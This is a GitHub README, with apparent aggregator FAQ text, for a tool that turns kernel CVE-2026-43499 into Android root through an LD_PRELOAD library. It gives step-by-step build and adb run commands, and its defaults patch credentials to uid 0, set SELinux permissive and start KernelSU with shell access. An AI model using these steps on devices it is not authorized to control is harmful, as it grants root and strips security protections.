CVE-2026-43499-root-KernelSU README

The project's README from github.com/woshimaniubi8/CVE-2026-43499-root-KernelSU. As one markdown file: README.md.

CVE-2026-43499-root-KernelSU

基于内核漏洞CVE-2026-43499的本地提权适配，集成嵌入式 KernelSU 。编译生成preload.so；触发成功后会以 late-load 模式(越狱模式)启动 KernelSU。支持(xbl_config.img / vendor_boot.img) + boot.img 生成target.h

Local privilege escalation adaptation based on a kernel vulnerability, integrating embedded KernelSU. Compiles and generates preload.so; upon successful exploitation, KernelSU will be started in late-load mode (jailbreak mode). Supports generating target.h from (xbl_config.img / vendor_boot.img) + boot.img. or other way

参考的项目：

[!IMPORTANT] The unauthorized exploitation of vulnerabilities to damage, compromise, or gain access to computer systems is prohibited by law. This project is provided strictly for research, educational, and learning purposes, and may only be used in systems and environments for which prior authorization has been granted. Any use of this project is undertaken at the user's own risk. The authors and contributors assume no liability for any misuse of this project or for any damages, losses, or legal consequences resulting from its use.

免责声明:未经授权利用漏洞对计算机系统实施破坏、入侵或未授权访问的行为均可能违反相关法律法规。本项目仅限于在已获得合法授权的系统和环境中用于安全研究、学习及测试目的。任何因使用、滥用或修改本项目而导致的直接或间接损失、法律责任及其他后果，均由使用者自行承担，项目作者及贡献者不承担任何责任。

影响范围

当您的内核版本为 {Linux Kernel} 时，处在本次漏洞的影响范围

当前状态

Target 状态
rodin（默认） 已验证
其他 src/targets/* 参考

目录结构

.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

构建

依赖

构建

make PROJECT=<target> -j$(nproc)

输出：

build/<target>/bin/preload.so

查看可用 target

make list-projects

生成 target.h

本仓库已经内置统一 target 生成脚本：

tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py 是入口脚本。它参考并封装了父目录所有 target 生成流程，最后输出适配本仓库源码的完整 src/targets/<project>/target.h。

脚本不会强制校验 IKCONFIG 中的 CONFIG_DEBUG_INFO_BTF=y。如果结构字段偏移或 percpu entry_task 布局无法验证，会打印警告并继续生成。

如果镜像里完全没有可用 BTF，例如出现：

有效 vmlinux BTF 候选不唯一: []

生成器会进入 无 BTF fallback：

可指定 fallback 模板：

tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1.使用 boot.img + profile JSON 生成

make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

默认写入：

src/targets/<project>/target.h

也可以直接调用脚本：

tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json 需要包含物理地址信息，例如：

{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2.从已 root 的 ADB 设备检测 profile

只生成 profile：

make detect-profile PROFILE_OUT=profile.json

检测 profile 并立即生成 target：

tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3.(xbl_config.img / vendor_boot.img) + boot.img 生成

脚本同时暴露父目录生成器支持的其他入口：

tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
示例
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

成功输出形态：

生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin 会默认保留实机验证过的：

#define MM_STRUCT_SZ 0x500

如需覆盖：

tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

添加新 target

推荐从匹配的 boot image 和 profile 生成：

make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

一个完整 target header 会包含：

运行

当前源码已写入默认值，正常运行只需要设置 LD_PRELOAD，并执行任意程序(建议 toybox id)。

adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

默认运行参数

当前默认配置如下：

设置 默认值 说明
KSUD_LATE_LOAD 1 执行 ksud late-load
KSUD_ALLOW_SHELL 1 传入 --allow-shell
KSUD_PACKAGE me.weishu.kernelsu 传给 ksud 的管理器包名(貌似不起效)
KSUD_DST /data/local/tmp/ksud 内置 ksud 写出路径
KSUD_SKIP_WRITE 0 默认写出内置 ksud
KSUD_DEFER_TO_PARENT 1 从已 patch 的父/当前进程路径启动 ksud
ROOT_PATCH_SELF 1 patch 当前进程为 uid 0
DISABLE_SELINUX 1 root patch 时将 SELinux enforcing 写为 permissive
ROOT_EXIT_SLEEP unset / 0 返回前不额外 sleep

默认实际执行的 ksud 命令行为：

/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

这些环境变量仍然可以在运行时覆盖，例如：

adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

复用已经写出的 ksud：

adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

清理

make clean

make clean 会保留 build/embed/ksud，因为 src/ksud_blob.S 通过下面的方式嵌入它：

.incbin "build/embed/ksud"

如果手动清理导致 build/embed/ksud 丢失，可以恢复：

git checkout -- build/embed/ksud

常见问题

.incbin "build/embed/ksud" not found

恢复内置 payload 后重新构建：

git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

FOPS route 返回 success=0

rodin 期望使用 legacy/simple pselect layout：

pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

如果设备状态被失败尝试污染，直接重启后再试：

adb reboot

F_SETPIPE_SZ 返回 EPERM

通常是失败/残留尝试导致的状态问题，重启是最快清理方式：

adb reboot

ksud 启动但 /proc/modules 没有 KernelSU

查看日志：

adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

必要时在 root shell 中手动运行：

/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

License

GPL-3.0. See LICENSE.

CVE-2026-43499-root-KernelSU (woshimaniubi8/CVE-2026-43499-root-KernelSU)

Searching Database…

401 ·GitHub
CVE-2026-43499-root-KernelSU
What is this?A local privilege-escalation adapter for kernel vulnerability CVE-2026-43499 that bundles KernelSU and starts it after a successful exploit, which the README calls 'jailbreak mode'. The author says it is meant for security research and education only.
Is it an app, a library, or a script?It is a C project that compiles into a preload.so you load with LD_PRELOAD, plus a generator that builds a target.h header from boot-image data.
How do I get it running?The README gives no explicit install command. You generate target.h for your device from its boot.img and a profile (or from a rooted ADB device), rebuild, then set LD_PRELOAD and run a program such as toybox id.
What images or device access do I need?You need boot.img plus either xblconfig.img or vendorboot.img to generate the header, or a profile JSON with physical address info. A rooted ADB device can also be used to detect the profile.
Does it always work?No. Without BTF it falls back to a template (default 'rodin') and warns that runtime reliability needs testing on a real device. Failed attempts can leave device state polluted, so a reboot is recommended.
Is this meant for ordinary users?No. The author says it is strictly for research, education and testing on systems where prior authorization was granted, and the user bears all risk and liability.
Which devices does it target?Android-style devices with a Linux kernel, working through boot.img, vendorboot.img and ADB. The README says you must first check whether your kernel version falls within the vulnerability's affected range.
What does late-load (jailbreak) mode do?Instead of starting KernelSU at boot, the tool starts it after the exploit succeeds. Its defaults run ksud late-load with --allow-shell, and the README says these values can be overridden with environment variables.
Which projects is it based on?It credits Linuxoid-cn's CVE-2026-43499 PoC analysis, x-spy's popsicle and Colorful-glassblock's duchamp-root as references.
What should I do if an attempt goes wrong?The README advises rebooting the device, since failed attempts can leave lingering state problems that make later runs fail.
What are similar projects?dirtyfrag, DirtyFrag, ghostlock-app, InfinityCore, copy-fail-CVE-2026-31431, UniRoot, hmg_nemesis, Relapse-Exploit
Which topics is it in?vulnerability-research, linux-kernel, privilege-escalation, cve, root, jailbreak, vulnerability, exploit, security-research, kernel, embedded, reverse-engineering
Creator
woshimaniubi8
Size
3.5 MB
Stars
401
Updated
CommitJul 26
Age
3mo
Commits · 90 Days